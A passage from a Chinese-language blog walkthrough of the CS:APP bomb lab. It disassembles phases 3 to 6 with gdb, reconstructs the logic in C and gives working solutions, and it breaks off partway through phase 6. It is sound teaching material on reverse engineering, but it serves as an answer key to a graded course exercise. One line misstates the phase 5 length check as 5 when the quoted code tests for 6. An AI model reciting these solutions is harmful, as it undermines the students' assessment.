  400f47: 48 8d 4c 24 0c        lea    0xc(%rsp),%rcx
  400f4c: 48 8d 54 24 08        lea    0x8(%rsp),%rdx
  400f51: be cf 25 40 00        mov    $0x4025cf,%esi
  400f56: b8 00 00 00 00        mov    $0x0,%eax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数1在main函数的时候已经存到&lt;code&gt;%rdi&lt;/code&gt;了。参数2是格式字符串，我们可以通过调试命令&lt;code&gt;x/s 0x4025cf&lt;/code&gt; 得到&lt;code&gt;&quot;%d %d&quot;&lt;/code&gt; 。参数3及以后便是变量的地址了，这里参数3 4通过lea计算栈地址，并传入相应的寄存器中。这里我们把这两个参数称之为：第一个数字，第二个数字（&lt;/p&gt;
&lt;p&gt;有一说一，&lt;s&gt;我之前差点把这个函数当成普通的&lt;code&gt;scanf&lt;/code&gt;了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;接着便是比较返回值，如果成功接受的参数数目为2，那么就会跳过爆炸函数的调用。但是如果第一个参数小于1或大于7就会爆炸（注意，比较的指令为&lt;code&gt;ja&lt;/code&gt;）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;400f60: 83 f8 01              cmp    $0x1,%eax
400f63: 7f 05                 jg     400f6a &amp;lt;phase_3+0x27&amp;gt;
400f65: e8 d0 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
400f6a: 83 7c 24 08 07        cmpl   $0x7,0x8(%rsp)
400f6f: 77 3c                 ja     400fad &amp;lt;phase_3+0x6a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着，语句&lt;code&gt;mov  0x8(%rsp),%eax&lt;/code&gt;便是把第一个数字给存到%eax里头。紧接着就出现这条语句&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;400f71: 8b 44 24 08           mov    0x8(%rsp),%eax
400f75: ff 24 c5 70 24 40 00  jmpq   *0x402470(,%rax,8)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而&lt;code&gt;0x400f75&lt;/code&gt;上的语句看起来就是跳转至该内存区域中存放的地址，那么同理，我们可以用gdb获取到对应地址的值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/x 0x402470
0x402470:       0x00400f7c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;%rax&lt;/code&gt;的值可以是0~7，这意味着我们要对内存进行偏移，所以我们可以使用命令&lt;code&gt;x/16x [addr]&lt;/code&gt;，得出所有的displacement后的地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/16x 0x402470
0x402470:       0x00400f7c      0x00000000      0x00400fb9      0x00000000
0x402480:       0x00400f83      0x00000000      0x00400f8a      0x00000000
0x402490:       0x00400f91      0x00000000      0x00400f98      0x00000000
0x4024a0:       0x00400f9f      0x00000000      0x00400fa6      0x00000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结合下面的这部分汇编，我们就可以看出这是一个switch语句，根据刚刚得到的信息，那么我们就可以进行标注。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  # x = 0
  400f7c: b8 cf 00 00 00        mov    $0xcf,%eax
  400f81: eb 3b                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # x = 2
  400f83: b8 c3 02 00 00        mov    $0x2c3,%eax
  400f88: eb 34                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # x = 3
  400f8a: b8 00 01 00 00        mov    $0x100,%eax
  400f8f: eb 2d                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # x = 4
  400f91: b8 85 01 00 00        mov    $0x185,%eax
  400f96: eb 26                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # x = 5
  400f98: b8 ce 00 00 00        mov    $0xce,%eax
  400f9d: eb 1f                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # x = 6
  400f9f: b8 aa 02 00 00        mov    $0x2aa,%eax
  400fa4: eb 18                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # x = 7
  400fa6: b8 47 01 00 00        mov    $0x147,%eax
  400fab: eb 11                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # default
  400fad: e8 88 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400fb2: b8 00 00 00 00        mov    $0x0,%eax
  400fb7: eb 05                 jmp    400fbe &amp;lt;phase_3+0x7b&amp;gt;
  # x = 1
  400fb9: b8 37 01 00 00        mov    $0x137,%eax
  # switch ends
  400fbe: 3b 44 24 0c           cmp    0xc(%rsp),%eax
  400fc2: 74 05                 je     400fc9 &amp;lt;phase_3+0x86&amp;gt;
  400fc4: e8 71 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  400fc9: 48 83 c4 18           add    $0x18,%rsp
  400fcd: c3                    retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过呢，所有case执行过后都把对应的数复制到%eax上，然后跳转到&lt;code&gt;400fbe&lt;/code&gt; 上，&lt;strong&gt;此时的%eax&lt;/strong&gt;便会与输入的第二个数字进行比较，如果相等则成功解除本阶段的炸弹。&lt;/p&gt;
&lt;p&gt;所以，我们可以得出其中一个答案为： &lt;code&gt;1 311&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Phase 4&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;000000000040100c &amp;lt;phase_4&amp;gt;:
  40100c: 48 83 ec 18           sub    $0x18,%rsp
  401010: 48 8d 4c 24 0c        lea    0xc(%rsp),%rcx
  401015: 48 8d 54 24 08        lea    0x8(%rsp),%rdx
  40101a: be cf 25 40 00        mov    $0x4025cf,%esi
  40101f: b8 00 00 00 00        mov    $0x0,%eax
  401024: e8 c7 fb ff ff        callq  400bf0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
  401029: 83 f8 02              cmp    $0x2,%eax
  40102c: 75 07                 jne    401035 &amp;lt;phase_4+0x29&amp;gt;
  40102e: 83 7c 24 08 0e        cmpl   $0xe,0x8(%rsp)
  401033: 76 05                 jbe    40103a &amp;lt;phase_4+0x2e&amp;gt;
  401035: e8 00 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  40103a: ba 0e 00 00 00        mov    $0xe,%edx
  40103f: be 00 00 00 00        mov    $0x0,%esi
  401044: 8b 7c 24 08           mov    0x8(%rsp),%edi
  401048: e8 81 ff ff ff        callq  400fce &amp;lt;func4&amp;gt;
  40104d: 85 c0                 test   %eax,%eax
  40104f: 75 07                 jne    401058 &amp;lt;phase_4+0x4c&amp;gt;
  401051: 83 7c 24 0c 00        cmpl   $0x0,0xc(%rsp)
  401056: 74 05                 je     40105d &amp;lt;phase_4+0x51&amp;gt;
  401058: e8 dd 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  40105d: 48 83 c4 18           add    $0x18,%rsp
  401061: c3                    retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拆开几部分来看&lt;/p&gt;
&lt;p&gt;看起来，前面这部分依旧是读取两个数字，如果没读齐两个数字，或者第一个数字没有小于等于14的话，炸弹就会爆炸。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;000000000040100c &amp;lt;phase_4&amp;gt;:
  40100c: 48 83 ec 18           sub    $0x18,%rsp
  401010: 48 8d 4c 24 0c        lea    0xc(%rsp),%rcx
  401015: 48 8d 54 24 08        lea    0x8(%rsp),%rdx
  40101a: be cf 25 40 00        mov    $0x4025cf,%esi
  40101f: b8 00 00 00 00        mov    $0x0,%eax
  401024: e8 c7 fb ff ff        callq  400bf0 &amp;lt;__isoc99_sscanf@plt&amp;gt;
  401029: 83 f8 02              cmp    $0x2,%eax
  40102c: 75 07                 jne    401035 &amp;lt;phase_4+0x29&amp;gt;
  40102e: 83 7c 24 08 0e        cmpl   $0xe,0x8(%rsp)
  401033: 76 05                 jbe    40103a &amp;lt;phase_4+0x2e&amp;gt;
  401035: e8 00 04 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后半部分是构造好参数到寄存器里头，然后调用函数&lt;code&gt;func4&lt;/code&gt;，接着比较返回值，如果返回值不为0就会爆炸。如果第二个数字不为0的话，炸弹也会爆炸。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  40103a: ba 0e 00 00 00        mov    $0xe,%edx
  40103f: be 00 00 00 00        mov    $0x0,%esi
  401044: 8b 7c 24 08           mov    0x8(%rsp),%edi
  401048: e8 81 ff ff ff        callq  400fce &amp;lt;func4&amp;gt;
  40104d: 85 c0                 test   %eax,%eax
  40104f: 75 07                 jne    401058 &amp;lt;phase_4+0x4c&amp;gt;
  401051: 83 7c 24 0c 00        cmpl   $0x0,0xc(%rsp)
  401056: 74 05                 je     40105d &amp;lt;phase_4+0x51&amp;gt;
  401058: e8 dd 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  40105d: 48 83 c4 18           add    $0x18,%rsp
  401061: c3                    retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们看到函数调用的另外一个函数&lt;code&gt;func4&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000400fce &amp;lt;func4&amp;gt;:
  400fce: 48 83 ec 08           sub    $0x8,%rsp
  400fd2: 89 d0                 mov    %edx,%eax
  400fd4: 29 f0                 sub    %esi,%eax
  400fd6: 89 c1                 mov    %eax,%ecx
  400fd8: c1 e9 1f              shr    $0x1f,%ecx
  400fdb: 01 c8                 add    %ecx,%eax
  400fdd: d1 f8                 sar    %eax
  400fdf: 8d 0c 30              lea    (%rax,%rsi,1),%ecx
  400fe2: 39 f9                 cmp    %edi,%ecx
  400fe4: 7e 0c                 jle    400ff2 &amp;lt;func4+0x24&amp;gt;
  400fe6: 8d 51 ff              lea    -0x1(%rcx),%edx
  400fe9: e8 e0 ff ff ff        callq  400fce &amp;lt;func4&amp;gt;
  400fee: 01 c0                 add    %eax,%eax
  400ff0: eb 15                 jmp    401007 &amp;lt;func4+0x39&amp;gt;
  400ff2: b8 00 00 00 00        mov    $0x0,%eax
  400ff7: 39 f9                 cmp    %edi,%ecx
  400ff9: 7d 0c                 jge    401007 &amp;lt;func4+0x39&amp;gt;
  400ffb: 8d 71 01              lea    0x1(%rcx),%esi
  400ffe: e8 cb ff ff ff        callq  400fce &amp;lt;func4&amp;gt;
  401003: 8d 44 00 01           lea    0x1(%rax,%rax,1),%eax
  401007: 48 83 c4 08           add    $0x8,%rsp
  40100b: c3                    retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数看起来是先对做了一定的运算，然后进行比较判断，最后再递归调用自身&lt;/p&gt;
&lt;p&gt;由于涉及到了递归调用，增加了&lt;s&gt;边注释边脑补的&lt;/s&gt;难度，所以我们可以逆着写出对应的C代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int f4(int x, int y, int z)
{
    int t = z - y;
    unsigned tmp = t &amp;gt;&amp;gt; 31;
    t += tmp;
    t &amp;gt;&amp;gt;= 1;
    int sum = t + y;
    if (sum - x == 0)
    {
        return 0;
    }
    if (sum - x &amp;gt; 0)
    {
        return 2 * f4(x, y, sum - 1);
    }
    if (sum - x &amp;lt; 0)
    {
        return 2 * f4(x, sum + 1, z) + 1;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;最后我们可以用循环，把答案给搞出来&lt;/s&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int main()
{
    for (int i = 0; i &amp;lt;= 14; i++)
    {
        if (f4(i, 0, 14) == 0)
        {
            printf(&quot;%d &quot;, i);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后得出 &lt;code&gt;0 1 3 7&lt;/code&gt; ，然后又因为第二个数必须为&lt;code&gt;0&lt;/code&gt;，所以答案可以是 &lt;code&gt;7 0&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Phase 5&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;0000000000401062 &amp;lt;phase_5&amp;gt;:
  401062: 53                    push   %rbx
  401063: 48 83 ec 20           sub    $0x20,%rsp
  401067: 48 89 fb              mov    %rdi,%rbx
  40106a: 64 48 8b 04 25 28 00  mov    %fs:0x28,%rax
  401071: 00 00 
  401073: 48 89 44 24 18        mov    %rax,0x18(%rsp)
  401078: 31 c0                 xor    %eax,%eax
  40107a: e8 9c 02 00 00        callq  40131b &amp;lt;string_length&amp;gt;
  40107f: 83 f8 06              cmp    $0x6,%eax
  401082: 74 4e                 je     4010d2 &amp;lt;phase_5+0x70&amp;gt;
  401084: e8 b1 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401089: eb 47                 jmp    4010d2 &amp;lt;phase_5+0x70&amp;gt;
  40108b: 0f b6 0c 03           movzbl (%rbx,%rax,1),%ecx
  40108f: 88 0c 24              mov    %cl,(%rsp)
  401092: 48 8b 14 24           mov    (%rsp),%rdx
  401096: 83 e2 0f              and    $0xf,%edx
  401099: 0f b6 92 b0 24 40 00  movzbl 0x4024b0(%rdx),%edx
  4010a0: 88 54 04 10           mov    %dl,0x10(%rsp,%rax,1)
  4010a4: 48 83 c0 01           add    $0x1,%rax
  4010a8: 48 83 f8 06           cmp    $0x6,%rax
  4010ac: 75 dd                 jne    40108b &amp;lt;phase_5+0x29&amp;gt;
  4010ae: c6 44 24 16 00        movb   $0x0,0x16(%rsp)
  4010b3: be 5e 24 40 00        mov    $0x40245e,%esi
  4010b8: 48 8d 7c 24 10        lea    0x10(%rsp),%rdi
  4010bd: e8 76 02 00 00        callq  401338 &amp;lt;strings_not_equal&amp;gt;
  4010c2: 85 c0                 test   %eax,%eax
  4010c4: 74 13                 je     4010d9 &amp;lt;phase_5+0x77&amp;gt;
  4010c6: e8 6f 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  4010cb: 0f 1f 44 00 00        nopl   0x0(%rax,%rax,1)
  4010d0: eb 07                 jmp    4010d9 &amp;lt;phase_5+0x77&amp;gt;
  4010d2: b8 00 00 00 00        mov    $0x0,%eax
  4010d7: eb b2                 jmp    40108b &amp;lt;phase_5+0x29&amp;gt;
  4010d9: 48 8b 44 24 18        mov    0x18(%rsp),%rax
  4010de: 64 48 33 04 25 28 00  xor    %fs:0x28,%rax
  4010e5: 00 00 
  4010e7: 74 05                 je     4010ee &amp;lt;phase_5+0x8c&amp;gt;
  4010e9: e8 42 fa ff ff        callq  400b30 &amp;lt;__stack_chk_fail@plt&amp;gt;
  4010ee: 48 83 c4 20           add    $0x20,%rsp
  4010f2: 5b                    pop    %rbx
  4010f3: c3                    retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先看看开头&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000401062 &amp;lt;phase_5&amp;gt;:
  401062: 53                    push   %rbx
  401063: 48 83 ec 20           sub    $0x20,%rsp
  401067: 48 89 fb              mov    %rdi,%rbx
  40106a: 64 48 8b 04 25 28 00  mov    %fs:0x28,%rax
  401071: 00 00 
  401073: 48 89 44 24 18        mov    %rax,0x18(%rsp)
  401078: 31 c0                 xor    %eax,%eax
  40107a: e8 9c 02 00 00        callq  40131b &amp;lt;string_length&amp;gt;
  40107f: 83 f8 06              cmp    $0x6,%eax
  401082: 74 4e                 je     4010d2 &amp;lt;phase_5+0x70&amp;gt;
  401084: e8 b1 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401089: eb 47                 jmp    4010d2 &amp;lt;phase_5+0x70&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开头这段汇编，比对输入的字符串的长度，如果长度不为5，就会爆炸。这里有一个&lt;code&gt;%fs:0x28&lt;/code&gt;，只是在后面用来检查栈的而已，这里忽略即可。&lt;/p&gt;
&lt;p&gt;如果不爆炸的话，就会去到这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4010d2: b8 00 00 00 00        mov    $0x0,%eax
  4010d7: eb b2                 jmp    40108b &amp;lt;phase_5+0x29&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然而这里继续跳转，跳转到下面这段代码，看起来是循环代码，如果条件没达到就循环执行，如果达到了条件就会执行&lt;code&gt;4010ac&lt;/code&gt;下一句&lt;code&gt;4010ae&lt;/code&gt;，这段汇编等下贴&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  40108b: 0f b6 0c 03           movzbl (%rbx,%rax,1),%ecx
  40108f: 88 0c 24              mov    %cl,(%rsp)
  401092: 48 8b 14 24           mov    (%rsp),%rdx
  401096: 83 e2 0f              and    $0xf,%edx
  401099: 0f b6 92 b0 24 40 00  movzbl 0x4024b0(%rdx),%edx
  4010a0: 88 54 04 10           mov    %dl,0x10(%rsp,%rax,1)
  4010a4: 48 83 c0 01           add    $0x1,%rax
  4010a8: 48 83 f8 06           cmp    $0x6,%rax
  4010ac: 75 dd                 jne    40108b &amp;lt;phase_5+0x29&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么这段循环代码做了什么呢？我们分析一下，最后写出了如下伪代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;char* input = your input;
for (int i = 0; i &amp;lt; 6; i++) {
  1. retrieve i-th char from input as ch
  2. push ch into stack
  3. mov ch to %rdx
  4. update %rdx with %rdx &amp;amp; 0xf (masking, only retain low 4 bits of ch)
  5. mov the ch on address (0x4024b0 + %rdx) to stack address (%rsp + i) (below stack.top())
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每一次循环，都从&lt;code&gt;input&lt;/code&gt;里取出第&lt;code&gt;i&lt;/code&gt;个字符，使其与&lt;code&gt;0xf&lt;/code&gt;做位运算以只留下低四位的数据，产生的结果作为偏移量&lt;code&gt;offset&lt;/code&gt;，接着取出&lt;code&gt;0x4024b0 + offset&lt;/code&gt;处的字符，放到栈里。&lt;/p&gt;
&lt;p&gt;那么，&lt;code&gt;0x4024b0&lt;/code&gt;处肯定是有什么东西的吧？试试就知道了，不试不知道，一试，发现是一个数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/s 0x4024b0
0x4024b0 &amp;lt;array.3449&amp;gt;:  &quot;maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又刚刚提到了，上面的循环跳出之后，就会执行&lt;code&gt;4010ac&lt;/code&gt;的下一句&lt;code&gt;4010ae&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4010ae: c6 44 24 16 00        movb   $0x0,0x16(%rsp)
  4010b3: be 5e 24 40 00        mov    $0x40245e,%esi
  4010b8: 48 8d 7c 24 10        lea    0x10(%rsp),%rdi
  4010bd: e8 76 02 00 00        callq  401338 &amp;lt;strings_not_equal&amp;gt;
  4010c2: 85 c0                 test   %eax,%eax
  4010c4: 74 13                 je     4010d9 &amp;lt;phase_5+0x77&amp;gt;
  4010c6: e8 6f 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  4010cb: 0f 1f 44 00 00        nopl   0x0(%rax,%rax,1)
  4010d0: eb 07                 jmp    4010d9 &amp;lt;phase_5+0x77&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么那一段汇编做了什么工作呢？（注：这里最后一句jmp到结束部分，没有产生什么影响）&lt;/p&gt;
&lt;p&gt;看起来是比较两个字符串是否相等，使用函数&lt;code&gt;string_not_equal&lt;/code&gt;。如果不一样就爆炸，一样就解除该阶段。&lt;/p&gt;
&lt;p&gt;同理，我们发现传参的时候，把栈中字符串的指针传进寄存器，准备好了其中一个参数。而另一个参数在准备时，读取了&lt;code&gt;0x40245e&lt;/code&gt;的值，好，直接用gdb调试看看。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) x/s 0x40245e
0x40245e:       &quot;flyers&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看来我们需要从上面那一大坨字符串中，构造出与flyers一样的字符串。既然刚刚已经说过怎么从这坨字符串中获取字符了。&lt;/p&gt;
&lt;p&gt;那我们先把目标字符的index算出来，分别是&lt;code&gt;9 15 14 5 6 7&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;于是，我们只需构造低4位分别为上述index的字符就行了，经过一番的查ASCII表，我们容易得出其中一个答案为&lt;code&gt;yon567&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Phase 6&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;00000000004010f4 &amp;lt;phase_6&amp;gt;:
  4010f4: 41 56                 push   %r14
  4010f6: 41 55                 push   %r13
  4010f8: 41 54                 push   %r12
  4010fa: 55                    push   %rbp
  4010fb: 53                    push   %rbx
  4010fc: 48 83 ec 50           sub    $0x50,%rsp
  401100: 49 89 e5              mov    %rsp,%r13
  401103: 48 89 e6              mov    %rsp,%rsi
  401106: e8 51 03 00 00        callq  40145c &amp;lt;read_six_numbers&amp;gt;
  40110b: 49 89 e6              mov    %rsp,%r14
  40110e: 41 bc 00 00 00 00     mov    $0x0,%r12d
  401114: 4c 89 ed              mov    %r13,%rbp
  401117: 41 8b 45 00           mov    0x0(%r13),%eax
  40111b: 83 e8 01              sub    $0x1,%eax
  40111e: 83 f8 05              cmp    $0x5,%eax
  401121: 76 05                 jbe    401128 &amp;lt;phase_6+0x34&amp;gt;
  401123: e8 12 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401128: 41 83 c4 01           add    $0x1,%r12d
  40112c: 41 83 fc 06           cmp    $0x6,%r12d
  401130: 74 21                 je     401153 &amp;lt;phase_6+0x5f&amp;gt;
  401132: 44 89 e3              mov    %r12d,%ebx
  401135: 48 63 c3              movslq %ebx,%rax
  401138: 8b 04 84              mov    (%rsp,%rax,4),%eax
  40113b: 39 45 00              cmp    %eax,0x0(%rbp)
  40113e: 75 05                 jne    401145 &amp;lt;phase_6+0x51&amp;gt;
  401140: e8 f5 02 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401145: 83 c3 01              add    $0x1,%ebx
  401148: 83 fb 05              cmp    $0x5,%ebx
  40114b: 7e e8                 jle    401135 &amp;lt;phase_6+0x41&amp;gt;
  40114d: 49 83 c5 04           add    $0x4,%r13
  401151: eb c1                 jmp    401114 &amp;lt;phase_6+0x20&amp;gt;
  401153: 48 8d 74 24 18        lea    0x18(%rsp),%rsi
  401158: 4c 89 f0              mov    %r14,%rax
  40115b: b9 07 00 00 00        mov    $0x7,%ecx
  401160: 89 ca                 mov    %ecx,%edx
  401162: 2b 10                 sub    (%rax),%edx
  401164: 89 10                 mov    %edx,(%rax)
  401166: 48 83 c0 04           add    $0x4,%rax
  40116a: 48 39 f0              cmp    %rsi,%rax
  40116d: 75 f1                 jne    401160 &amp;lt;phase_6+0x6c&amp;gt;
  40116f: be 00 00 00 00        mov    $0x0,%esi
  401174: eb 21                 jmp    401197 &amp;lt;phase_6+0xa3&amp;gt;
  401176: 48 8b 52 08           mov    0x8(%rdx),%rdx
  40117a: 83 c0 01              add    $0x1,%eax
  40117d: 39 c8                 cmp    %ecx,%eax
  40117f: 75 f5                 jne    401176 &amp;lt;phase_6+0x82&amp;gt;
  401181: eb 05                 jmp    401188 &amp;lt;phase_6+0x94&amp;gt;
  401183: ba d0 32 60 00        mov    $0x6032d0,%edx
  401188: 48 89 54 74 20        mov    %rdx,0x20(%rsp,%rsi,2)
  40118d: 48 83 c6 04           add    $0x4,%rsi
  401191: 48 83 fe 18           cmp    $0x18,%rsi
  401195: 74 14                 je     4011ab &amp;lt;phase_6+0xb7&amp;gt;
  401197: 8b 0c 34              mov    (%rsp,%rsi,1),%ecx
  40119a: 83 f9 01              cmp    $0x1,%ecx
  40119d: 7e e4                 jle    401183 &amp;lt;phase_6+0x8f&amp;gt;
  40119f: b8 01 00 00 00        mov    $0x1,%eax
  4011a4: ba d0 32 60 00        mov    $0x6032d0,%edx
  4011a9: eb cb                 jmp    401176 &amp;lt;phase_6+0x82&amp;gt;
  4011ab: 48 8b 5c 24 20        mov    0x20(%rsp),%rbx
  4011b0: 48 8d 44 24 28        lea    0x28(%rsp),%rax
  4011b5: 48 8d 74 24 50        lea    0x50(%rsp),%rsi
  4011ba: 48 89 d9              mov    %rbx,%rcx
  4011bd: 48 8b 10              mov    (%rax),%rdx
  4011c0: 48 89 51 08           mov    %rdx,0x8(%rcx)
  4011c4: 48 83 c0 08           add    $0x8,%rax
  4011c8: 48 39 f0              cmp    %rsi,%rax
  4011cb: 74 05                 je     4011d2 &amp;lt;phase_6+0xde&amp;gt;
  4011cd: 48 89 d1              mov    %rdx,%rcx
  4011d0: eb eb                 jmp    4011bd &amp;lt;phase_6+0xc9&amp;gt;
  4011d2: 48 c7 42 08 00 00 00  movq   $0x0,0x8(%rdx)
  4011d9: 00 
  4011da: bd 05 00 00 00        mov    $0x5,%ebp
  4011df: 48 8b 43 08           mov    0x8(%rbx),%rax
  4011e3: 8b 00                 mov    (%rax),%eax
  4011e5: 39 03                 cmp    %eax,(%rbx)
  4011e7: 7d 05                 jge    4011ee &amp;lt;phase_6+0xfa&amp;gt;
  4011e9: e8 4c 02 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  4011ee: 48 8b 5b 08           mov    0x8(%rbx),%rbx
  4011f2: 83 ed 01              sub    $0x1,%ebp
  4011f5: 75 e8                 jne    4011df &amp;lt;phase_6+0xeb&amp;gt;
  4011f7: 48 83 c4 50           add    $0x50,%rsp
  4011fb: 5b                    pop    %rbx
  4011fc: 5d                    pop    %rbp
  4011fd: 41 5c                 pop    %r12
  4011ff: 41 5d                 pop    %r13
  401201: 41 5e                 pop    %r14
  401203: c3                    retq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个可以说是最难phase了吧？这个前前后后花了我快三个钟...&lt;/p&gt;
&lt;p&gt;近100行的汇编...我觉得还是得一部分一部分地分割开来，单独进行分析&lt;/p&gt;
&lt;p&gt;首先还是常见的输入六个数字，从前往后扫描，自顶向下地保存到栈里。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  4010fc: 48 83 ec 50           sub    $0x50,%rsp
  401100: 49 89 e5              mov    %rsp,%r13
  401103: 48 89 e6              mov    %rsp,%rsi
  401106: e8 51 03 00 00        callq  40145c &amp;lt;read_six_numbers&amp;gt;
  40110b: 49 89 e6              mov    %rsp,%r14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后便会碰到一个嵌套的循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  40110e: 41 bc 00 00 00 00     mov    $0x0,%r12d
  401114: 4c 89 ed              mov    %r13,%rbp
  401117: 41 8b 45 00           mov    0x0(%r13),%eax
  40111b: 83 e8 01              sub    $0x1,%eax
  40111e: 83 f8 05              cmp    $0x5,%eax
  401121: 76 05                 jbe    401128 &amp;lt;phase_6+0x34&amp;gt;
  401123: e8 12 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401128: 41 83 c4 01           add    $0x1,%r12d
  40112c: 41 83 fc 06           cmp    $0x6,%r12d
  401130: 74 21                 je     401153 &amp;lt;phase_6+0x5f&amp;gt;
  401132: 44 89 e3              mov    %r12d,%ebx
  401135: 48 63 c3              movslq %ebx,%rax
  401138: 8b 04 84              mov    (%rsp,%rax,4),%eax
  40113b: 39 45 00              cmp    %eax,0x0(%rbp)
  40113e: 75 05                 jne    401145 &amp;lt;phase_6+0x51&amp;gt;
  401140: e8 f5 02 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;
  401145: 83 c3 01              add    $0x1,%ebx
  401148: 83 fb 05              cmp    $0x5,%ebx
  40114b: 7e e8                 jle    401135 &amp;lt;phase_6+0x41&amp;gt;
  40114d: 49 83 c5 04           add    $0x4,%r13
  401151: eb c1                 jmp    401114 &amp;lt;phase_6+0x20&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个循环用了两个循环进行数字之间的逐一比对&lt;/p&gt;
&lt;p&gt;外循环初始化为&lt;code&gt;i = 0&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  40110e: 41 bc 00 00 00 00     mov    $0x0,%r12d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先先检查了当前第i个数字是否满足大于0且小于等于6，注意第i个数字被保存到了&lt;code&gt;%rbp&lt;/code&gt;上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  401114: 4c 89 ed              mov    %r13,%rbp
  401117: 41 8b 45 00           mov    0x0(%r13),%eax
  40111b: 83 e8 01              sub    $0x1,%eax
  40111e: 83 f8 05              cmp    $0x5,%eax
  401121: 76 05                 jbe    401128 &amp;lt;phase_6+0x34&amp;gt;
  401123: e8 12 03 00 00        callq  40143a &amp;lt;explode_bomb&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后检查一下i是否超出6，如超出则跳出循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  401128: 41 83 c4 01           add    $0x1,%r12d
  40112c: 41 83 fc 06           cmp    $0x6,%r12d
  401130: 74 21                 je     401153 &amp;lt;phase_6+0x5f&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;否则，便使得&lt;code&gt;j = i + 1&lt;/code&gt;，进入内循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  401132: 44 89 e3              mov    %r12d,%ebx
  401135: 48 63 c3              movslq %ebx,%rax
  401138: 8b 04 84              mov    (%rsp,%rax,4),%eax
  40113b: 39 45 00              cmp    %eax,0x0(%rbp)
  40113e: 75 05                 jne    401145 &amp;lt;phase_6+0x51&amp;gt;
